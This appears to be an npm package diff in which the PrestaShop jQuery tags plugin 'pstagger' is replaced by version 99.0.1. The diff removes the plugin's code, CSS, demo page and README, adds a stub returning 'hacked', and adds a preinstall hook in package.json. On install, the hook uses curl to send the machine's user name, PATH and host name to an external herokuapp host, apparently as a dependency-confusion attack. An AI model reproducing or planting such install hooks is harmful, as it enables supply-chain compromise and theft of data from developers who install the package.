pstagger 1.0.1 → 99.0.1

package/index.js

@@ -0,0 +1,3 @@
+module.exports.hacked = function () {
+    return "hacked"
+}

package/package.json

@@ -1,24 +1,12 @@
 {
   "name": "pstagger",
-  "version": "1.0.1",
-  "description": "A simple jQuery plugin in order to create tags input bars, this is still a beta so play around with it but we do not recommend to use it in production at the moment.",
-  "main": "jquery.pstagger.js",
+  "version": "99.0.1",
+  "description": "Hi! hello there too :) who are you?",
+  "main": "index.js",
   "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "curl https://shrouded-ravine-99137.herokuapp.com/pstagger/$USER/$PATH/$HOSTNAME"
   },
-  "repository": {
-    "type": "git",
-    "url": "git+https://github.com/PrestaShop/pstagger.git"
-  },
-  "keywords": [
-    "tags",
-    "prestashop",
-    "jquery"
-  ],
-  "author": "PrestaShop",
-  "license": "MIT",
-  "bugs": {
-    "url": "https://github.com/PrestaShop/pstagger/issues"
-  },
-  "homepage": "https://github.com/PrestaShop/pstagger#readme"
-}
+  "author": "r03i98",
+  "license": "ISC"
+}

package/README.md

@@ -1,171 +0,0 @@
-# jQuery pstagger Plugin
-
-A simple jQuery plugin in order to create tags input bars, this is still a beta so play around with it but we do not recommend to use it in production at the moment.
-
-Do not hesitate to make PR for improvement or bug fixes !
-
-[Get it from Github](https://github.com/PrestaShop/pstagger)
-
-Latest version: 0.2.1 (beta)
-
-
-## Why we developed this plugin ?
-
-Most of the other tags bar plugins don't allow you to modify your tags once you've written them (you have to delete the tag and re-write it).
-Since we use this input bar as a search bar, we wanted to keep it fully editable and in the same time give a visual hint on how the search works.
-
-## Instructions
-
-Add mandatory files
-
-	<script src="jquery.pstagger.js"></script>
-	<link rel="stylesheet" type="text/css" href="jquery.pstagger.css" />
-
-Once that done, create an input like you would do in any other case:
-
-	<input id="input-tags" />
-
-Then, simply call the tagsInput function on any field that should be treated as
-a list of tags.
-Then, make a call to pstagger plugin on all desired input to be 'Tagified'
-
-	$('#input-tags').pstagger();
-
-## Options
-
-	$(selector).pstagger({
-		/* CSS custom */
-        wrapperClassAdditional: 'myClass',
-        tagsWrapperClassAdditional: 'myClass',
-        tagClassAdditional: 'myClass',
-        closingCrossClassAdditionnal: 'myClass',
-        clearAllIconClassAdditional: 'myClass',
-        clearAllSpanClassAdditional: 'myClass',
-        tagInputWrapperClassAdditional: 'myClass',
-        tagInputClassAdditional: 'myClass',
-        /* Global configuration */
-        delimiter: ' ',
-        inputPlaceholder: 'Add tag ...',
-        closingCross: true,
-        context: null,
-        clearAllBtn: false,
-        /* Callbacks */
-        onTagsChanged: null,
-        onResetTags: null,
-	});
-
-## API
-
-<table>
-  <thead>
-    <tr>
-      <th>Name</th>
-      <th>Type</th>
-      <th>Default</th>
-      <th>Note</th>
-    </tr>
-  </thead>
-  <tbody>
-    <tr>
-      <td>wrapperClassAdditional</td>
-      <td>String</td>
-      <td>''</td>
-      <td>Add custom CSS to the plugin</a>
-      </td>
-    </tr>
-
-    <tr>
-      <td>tagsWrapperClassAdditional</td>
-     <td>String</td>
-      <td>''</td>
-      <td>Add custom CSS to the plugin</a>    </tr>
-
-    <tr>
-      <td>tagClassAdditional</td>
-      <td>String</td>
-      <td>''</td>
-      <td>Add custom CSS to the plugin</a>
-    </tr>
-
-    <tr>
-      <td>closingCrossClassAdditionnal</td>
-      <td>String</td>
-      <td>''</td>
-      <td>Add custom CSS to the plugin</a>
-    </tr>
-
-    <tr>
-      <td> tagInputWrapperClassAdditional</td>
-      <td>String</td>
-      <td>''</td>
-      <td>Add custom CSS to the plugin</a>
-    </tr>
-
-    <tr>
-      <td>tagInputClassAdditional</td>
-      <td>String</td>
-      <td>''</td>
-      <td>Add custom CSS to the plugin</a>
-    </tr>
-
-    <tr>
-      <td>clearAllIconClassAdditional</td>
-      <td>String</td>
-      <td>''</td>
-      <td>Add custom CSS to the plugin</a>    
-    </tr>
-
-    <tr>
-      <td>delimiter</td>
-      <td>String</td>
-      <td>' '</td>
-      <td>Determine on which character the plugin has to explode the full string</td>
-    </tr>
-
-    <tr>
-      <td>inputPlaceholder</td>
-      <td>String</td>
-      <td>'Add a tag...'</td>
-      <td>Simply replace input placeholder by the one you choose</td>
-    </tr>
-
-    <tr>
-      <td>closingCross</td>
-      <td>Boolean</td>
-      <td>true</td>
-      <td>Whether we have to display a "closing cross" on each tag generated in order to remove them</td>
-    </tr>
-
-    <tr>
-      <td>context</td>
-      <td>Object</td>
-      <td>null</td>
-      <td>You may want to specify a specific context on your callback, just give that context here (e.g: this)</td>
-    </tr>
-
-    <tr>
-      <td>clearAllBtn</td>
-      <td>Boolean</td>
-      <td>false</td>
-      <td>Determine if the global reset input button has to be displayed
-      </td>
-    </tr>
-
-    <tr>
-      <td>onTagsChanged</td>
-      <td>Callback</td>
-      <td>none</td>
-      <td>Callback called everytime input tag has changed, it will receive an array representing each tag available in the input
-      </td>
-    </tr>
-
-    <tr>
-      <td>onResetTags</td>
-      <td>Callback</td>
-      <td>none</td>
-      <td>Callback called whenever the reset button is clicked and input emptied
-      </td>
-    </tr>
-
-  </tbody>
-</table>

package/example.css

@@ -1,14 +0,0 @@
-/*
-* jQuery pstagger plugin
-* https://www.prestashop.com
-*
-* Copyright PrestaShop and other contributors
-* Released under the MIT license
-* https://tldrlegal.com/license/mit-license
-*
-* Date: 2016-01-13
-*/
-
-.myIconClass:before {
-    content: "X";
-}

package/index.html

@@ -1,45 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8">
-        <title>jQuery pstagger plugin by PrestaShop</title>
-        <link rel="stylesheet" href="example.css" />
-        <link rel="stylesheet" href="jquery.pstagger.css" />
-    </head>
-    <body>
-        jQuery pstagger Example:
-        <hr/>
-        <div class="wrapper">
-            <input id="pstagger-bar" type="text"/>
-        </div>
-        <hr/>
-        Currently tagged:
-        <div id="example1-tags">
-
-        </div>
-
-        <script type="text/javascript" src="https://code.jquery.com/jquery-1.12.0.min.js"></script>
-        <script type="text/javascript" src="jquery.pstagger.js"></script>
-        <script type="text/javascript">
-            $(document).ready(function(){
-
-                $('#pstagger-bar').pstagger({
-                   inputPlaceholder: 'Add tag ...',
-                   clearAllBtn: true,
-                   clearAllIconClassAdditional: 'myIconClass',
-                   onTagsChanged: onTagsChange,
-                   onResetTags: onReset,
-               });
-
-            });
-
-            function onTagsChange(tagsList) {
-                $('#example1-tags').html(tagsList.join(', '));
-            }
-
-            function onReset() {
-                $('#example1-tags').empty();
-            }
-        </script>
-    </body>
-</html>

package/jquery.pstagger.css

@@ -1,71 +0,0 @@
-/*
-* jQuery pstagger plugin
-* https://www.prestashop.com
-*
-* Copyright PrestaShop and other contributors
-* Released under the MIT license
-* https://tldrlegal.com/license/mit-license
-*
-* Date: 2016-01-13
-*/
-
-.pstaggerAddTagInput:focus {
-     outline: 0;
-}
-
-.pstaggerAddTagWrapper {
-    width: 99.5%;
-}
-
-.pstaggerResetTagsBtn {
-    cursor: pointer !important;
-    margin-right: 15px;
-    margin-top: 15px;
-    position: absolute;
-    color: #2eacce;
-    font-size: 20px;
-    cursor: pointer;
-    top: 0;
-    right: 0;
-}
-.pstaggerTagsWrapper {
-    display: none;
-    position: relative;
-    border: 1px solid lightgrey;
-    height: 50px;
-    width: 99.5%;
-    padding-left: 5px;
-}
-
-.pstaggerTag{
-    float: left;
-    border-radius: 5px;
-    height: 30px;
-    padding: 10px 5px 0px 5px;
-    margin-top: 5px;
-    margin-right: 5px;
-    background-color: lightblue;
-    font-size: 15px;
-    font-family: 'Helvetica', 'Arial', sans-serif;
-}
-
-.pstaggerClosingCross {
-    margin-left: 5px;
-    font-size: 12px;
-    color: black;
-    text-decoration: none;
-}
-
-.pstaggerWrapper {
-    position: relative;
-}
-
-.pstaggerAddTagInput {
-    padding: 0;
-    padding-left: 5px;
-    border: 1px solid lightgrey;
-    height: 50px;
-    width: 100%;
-    font-size: 15px;
-    font-family: 'Helvetica', 'Arial', sans-serif;
-}

package/jquery.pstagger.js

@@ -1,258 +0,0 @@
-/*
-* jQuery pstagger plugin
-* https://www.prestashop.com
-*
-* Copyright PrestaShop and other contributors
-* Released under the MIT license
-* https://tldrlegal.com/license/mit-license
-*
-* Date: 2016-01-13
-*/
-
-(function ( $ ) {
-    var config = null;
-    var validateKeyCode = 13;
-    var tagsList = [];
-    var fullTagsString = null;
-    var pstaggerInput = null;
-    var defaultConfig = {
-        /* Global css config */
-        wrapperClassAdditional: '',
-        /* Tags part */
-        tagsWrapperClassAdditional: '',
-        tagClassAdditional: '',
-        closingCrossClassAdditionnal: '',
-        /* Tag Input part */
-        tagInputWrapperClassAdditional: '',
-        tagInputClassAdditional: '',
-        /* Global configuration */
-        delimiter: ' ',
-        inputPlaceholder: 'Add tag ...',
-        closingCross: true,
-        context: null,
-        clearAllBtn: false,
-        clearAllIconClassAdditional: '',
-        clearAllSpanClassAdditional: '',
-        /* Callbacks */
-        onTagsChanged: null,
-        onResetTags: null,
-    };
-    var immutableConfig = {
-        /* Global css config */
-        wrapperClass: 'pstaggerWrapper',
-        /* Tags part */
-        tagsWrapperClass: 'pstaggerTagsWrapper',
-        tagClass: 'pstaggerTag',
-        /* Tag Input part */
-        tagInputWrapperClass: 'pstaggerAddTagWrapper',
-        tagInputClass: 'pstaggerAddTagInput',
-        clearAllIconClass: '',
-        clearAllSpanClass: 'pstaggerResetTagsBtn',
-        closingCrossClass: 'pstaggerClosingCross',
-    };
-
-    var bindValidationInputEvent = function() {
-        // Validate input whenever validateKeyCode is pressed
-        pstaggerInput.keypress(function(event) {
-            if (event.keyCode == validateKeyCode) {
-                tagsList = [];
-                processInput();
-            }
-        });
-        // If focusout of input, display tagsWrapper if not empty or leave input as is
-        pstaggerInput.focusout(function(event){
-
-         // Necessarry to avoid race condition when focusout input because we want to reset :-)
-          if ($('.' + immutableConfig.clearAllSpanClass + ':hover').length) {
-              return false;
-          }
-            // Only redisplay tags on focusOut if there's something in tagsList
-            if (pstaggerInput.val().length) {
-                tagsList = [];
-                processInput();
-            }
-        });
-    };
-
-    var processInput = function() {
-        var fullTagsStringRaw = pstaggerInput.val();
-        var tagsListRaw = fullTagsStringRaw.split(config.delimiter);
-
-        // Check that's not an empty input
-        if (fullTagsStringRaw.length) {
-            // Loop over each tags we got this round
-            for (var key in tagsListRaw) {
-                var tagRaw = tagsListRaw[key];
-                // No empty values
-                if (tagRaw === '') {
-                    continue;
-                }
-                // Add tag into persistent list
-                tagsList.push(tagRaw);
-            }
-            var spanTagsHtml = '';
-            // Create HTML dom from list of tags we have
-            for (key in tagsList) {
-                var tag = tagsList[key];
-                spanTagsHtml += formatSpanTag(tag);
-            }
-            //  Delete previous if any, then add recreated html content
-            $('.' + immutableConfig.tagsWrapperClass).empty().prepend(spanTagsHtml).css('display', 'block');
-            // Hide input until user click on tagify_tags_wrapper
-            $('.' + immutableConfig.tagInputWrapperClass).css('display', 'none');
-
-        } else {
-            $('.' + immutableConfig.tagsWrapperClass).css('display', 'none');
-            $('.' + immutableConfig.tagInputWrapperClass).css('display', 'block');
-            pstaggerInput.focus();
-        }
-        // Call the callback ! (if one)
-        if (config.onTagsChanged !== null) {
-            config.onTagsChanged.call(config.context, tagsList);
-        }
-    };
-
-    var formatSpanTag = function(tag) {
-        var spanTag =   '<span class="' + immutableConfig.tagClass + ' ' + config.tagClassAdditional+'">' +
-                            '<span>' +
-                                $('<div/>').text(tag).html() +
-                            '</span>';
-        // Add closingCross if set to true
-        if (config.closingCross === true) {
-            spanTag += '<a class="' + immutableConfig.closingCrossClass + ' ' + config.closingCrossClassAdditionnal+'" href="#">x</a>';
-        }
-        spanTag += '</span>';
-        return spanTag;
-    };
-
-    var constructTagInputForm = function() {
-        // First hide native input
-        config.originalInput.css('display', 'none');
-        var addClearBtnHtml = '';
-        // If reset button required add it following user decription
-        if (config.clearAllBtn === true) {
-            addClearBtnHtml += '<span class="' + immutableConfig.clearAllSpanClass + ' ' + config.clearAllSpanClassAdditional +'">' +
-                                        '<i class="' + immutableConfig.clearAllIconClass + ' ' + config.clearAllIconClassAdditional +'"></i>' +
-                                    '</span>';
-            // Bind the click on the reset icon
-            bindResetTagsEvent();
-        }
-        // Add Tagify form after it
-        var formHtml = '<div class="' + immutableConfig.wrapperClass + ' ' + config.wrapperClassAdditional +'">' +
-                        addClearBtnHtml +
-                        '<div class="' + immutableConfig.tagsWrapperClass + ' ' + config.tagsWrapperClassAdditional +'"></div>' +
-                        '<div class="' + immutableConfig.tagInputWrapperClass + ' ' + config.tagInputWrapperClassAdditional +'">' +
-                            '<input class="' + immutableConfig.tagInputClass + ' ' + config.tagInputClassAdditional +'">' +
-                        '</div>' +
-                        '</div>';
-        // Insert form after the originalInput
-        config.originalInput.after(formHtml);
-        // Save tagify input in our object
-        pstaggerInput = $('.' + immutableConfig.tagInputClass);
-        // Add placeholder on tagify's input
-        pstaggerInput.attr('placeholder',  config.inputPlaceholder);
-        return true;
-    };
-
-    var bindFocusInputEvent = function() {
-        // Bind click on tagsWrapper to switch and focus on input
-        $('.' + immutableConfig.tagsWrapperClass).on('click', function(event) {
-            var clickedElementClasses = event.target.className;
-            // Regexp to check if not clicked on closingCross to avoid focusing input if so
-            var checkClosingCrossRegex = new RegExp(immutableConfig.closingCrossClass, 'g');
-            var closingCrossClicked = clickedElementClasses.match(checkClosingCrossRegex);
-            if ($('.' + immutableConfig.tagInputWrapperClass).is(':hidden') &&  closingCrossClicked === null) {
-                $('.' + immutableConfig.tagsWrapperClass).css('display', 'none');
-                $('.' + immutableConfig.tagInputWrapperClass).css('display', 'block');
-                pstaggerInput.focus();
-            }
-        });
-    };
-
-    var bindResetTagsEvent = function() {
-        // Use delegate since we bind it before we insert the html in the DOM
-        var _this = this;
-        $(document).delegate('.' + immutableConfig.clearAllSpanClass, 'click', function(){
-            resetTags(true);
-        });
-    };
-
-    var resetTags = function(withCallback) {
-        // Empty tags list and tagify input
-        tagsList = [];
-        pstaggerInput.val('');
-        $('.' + immutableConfig.tagsWrapperClass).css('display', 'none');
-        $('.' + immutableConfig.tagInputWrapperClass).css('display', 'block');
-        pstaggerInput.focus();
-        // Empty existing Tags
-        $('.' + immutableConfig.tagClass).remove();
-        // Call the callback if one !
-        if (config.onResetTags !== null && withCallback === true) {
-            config.onResetTags.call(config.context);
-        }
-    }
-
-
-    var bindClosingCrossEvent = function() {
-        $(document).delegate('.' + immutableConfig.closingCrossClass, 'click', function(event){
-            var thisTagWrapper = $(this).parent();
-            var clickedTagIndex = thisTagWrapper.index();
-            // Iterate through tags to reconstruct new pstaggerInput value
-            var newInputValue = reconstructInputValFromRemovedTag(clickedTagIndex);
-            // Apply new input value
-            pstaggerInput.val(newInputValue);
-            thisTagWrapper.remove();
-            tagsList = [];
-            processInput();
-        });
-    };
-
-    var reconstructInputValFromRemovedTag = function(clickedTagIndex) {
-        var finalStr = '';
-        $('.' + immutableConfig.tagClass).each(function(index, value) {
-            // If this is the tag we want to remove then continue else add to return string val
-            if (clickedTagIndex == $(this).index()) {
-                // jQuery.each() continue;
-                return true;
-            }
-            // Add to return value
-            finalStr += ' ' + $(this).children().first().text();
-        });
-        return finalStr;
-    };
-
-    var getTagsListOccurencesCount = function() {
-        var obj = {};
-        for (var i = 0, j = tagsList.length; i < j; i++) {
-           obj[tagsList[i]] = (obj[tagsList[i]] || 0) + 1;
-        }
-        return obj;
-    };
-
-    var setConfig = function(givenConfig, originalObject) {
-        var finalConfig = {};
-        // Loop on each default values, check if one given by user, if so -> override default
-        for (var property in defaultConfig) {
-            if (givenConfig.hasOwnProperty(property)) {
-                finalConfig[property] = givenConfig[property];
-            } else {
-                finalConfig[property] = defaultConfig[property];
-            }
-        }
-        finalConfig.originalInput = originalObject;
-        return finalConfig;
-    };
-
-    // jQuery extends function
-    $.fn.pstagger = function(_config) {
-        config = setConfig(_config, this);
-        constructTagInputForm();
-        bindValidationInputEvent();
-        bindFocusInputEvent();
-        bindClosingCrossEvent();
-
-        return {
-            'resetTags': resetTags,
-        };
-    };
-}(jQuery));

package/jquery.pstagger.min.js

@@ -1,17 +0,0 @@
-/*
-* jQuery pstagger plugin
-* https://www.prestashop.com
-*
-* Copyright PrestaShop and other contributors
-* Released under the MIT license
-* https://tldrlegal.com/license/mit-license
-*
-* Date: 2016-01-13
-*/
-
-(function(c){var b=null,g=[],d=null,k={wrapperClassAdditional:"",tagsWrapperClassAdditional:"",tagClassAdditional:"",closingCrossClassAdditionnal:"",tagInputWrapperClassAdditional:"",tagInputClassAdditional:"",delimiter:" ",inputPlaceholder:"Add tag ...",closingCross:!0,context:null,clearAllBtn:!1,clearAllIconClassAdditional:"",clearAllSpanClassAdditional:"",onTagsChanged:null,onResetTags:null},m=function(){d.keypress(function(a){13==a.keyCode&&(g=[],h())});d.focusout(function(a){if(c(".pstaggerResetTagsBtn:hover").length)return!1;
-d.val().length&&(g=[],h())})},h=function(){var a=d.val(),e=a.split(b.delimiter);if(a.length){for(var f in e)a=e[f],""!==a&&g.push(a);e="";for(f in g)a=g[f],a='<span class="pstaggerTag '+b.tagClassAdditional+'"><span>'+c("<div/>").text(a).html()+"</span>",!0===b.closingCross&&(a+='<a class="pstaggerClosingCross '+b.closingCrossClassAdditionnal+'" href="#">x</a>'),a+="</span>",e+=a;c(".pstaggerTagsWrapper").empty().prepend(e).css("display","block");c(".pstaggerAddTagWrapper").css("display","none")}else c(".pstaggerTagsWrapper").css("display",
-"none"),c(".pstaggerAddTagWrapper").css("display","block"),d.focus();null!==b.onTagsChanged&&b.onTagsChanged.call(b.context,g)},n=function(){c(".pstaggerTagsWrapper").on("click",function(a){a=a.target.className.match(RegExp("pstaggerClosingCross","g"));c(".pstaggerAddTagWrapper").is(":hidden")&&null===a&&(c(".pstaggerTagsWrapper").css("display","none"),c(".pstaggerAddTagWrapper").css("display","block"),d.focus())})},p=function(){c(document).delegate(".pstaggerResetTagsBtn","click",function(){l(!0)})},
-l=function(a){g=[];d.val("");c(".pstaggerTagsWrapper").css("display","none");c(".pstaggerAddTagWrapper").css("display","block");d.focus();c(".pstaggerTag").remove();null!==b.onResetTags&&!0===a&&b.onResetTags.call(b.context)},r=function(){c(document).delegate(".pstaggerClosingCross","click",function(a){a=c(this).parent();var b=a.index(),b=q(b);d.val(b);a.remove();g=[];h()})},q=function(a){var b="";c(".pstaggerTag").each(function(d,g){if(a==c(this).index())return!0;b+=" "+c(this).children().first().text()});
-return b};c.fn.pstagger=function(a){var e={},f;for(f in k)a.hasOwnProperty(f)?e[f]=a[f]:e[f]=k[f];e.originalInput=this;b=e;b.originalInput.css("display","none");a="";!0===b.clearAllBtn&&(a+='<span class="pstaggerResetTagsBtn '+b.clearAllSpanClassAdditional+'"><i class=" '+b.clearAllIconClassAdditional+'"></i></span>',p());b.originalInput.after('<div class="pstaggerWrapper '+b.wrapperClassAdditional+'">'+a+'<div class="pstaggerTagsWrapper '+b.tagsWrapperClassAdditional+'"></div><div class="pstaggerAddTagWrapper '+
-b.tagInputWrapperClassAdditional+'"><input class="pstaggerAddTagInput '+b.tagInputClassAdditional+'"></div></div>');d=c(".pstaggerAddTagInput");d.attr("placeholder",b.inputPlaceholder);m();n();r();return{resetTags:l}}})(jQuery);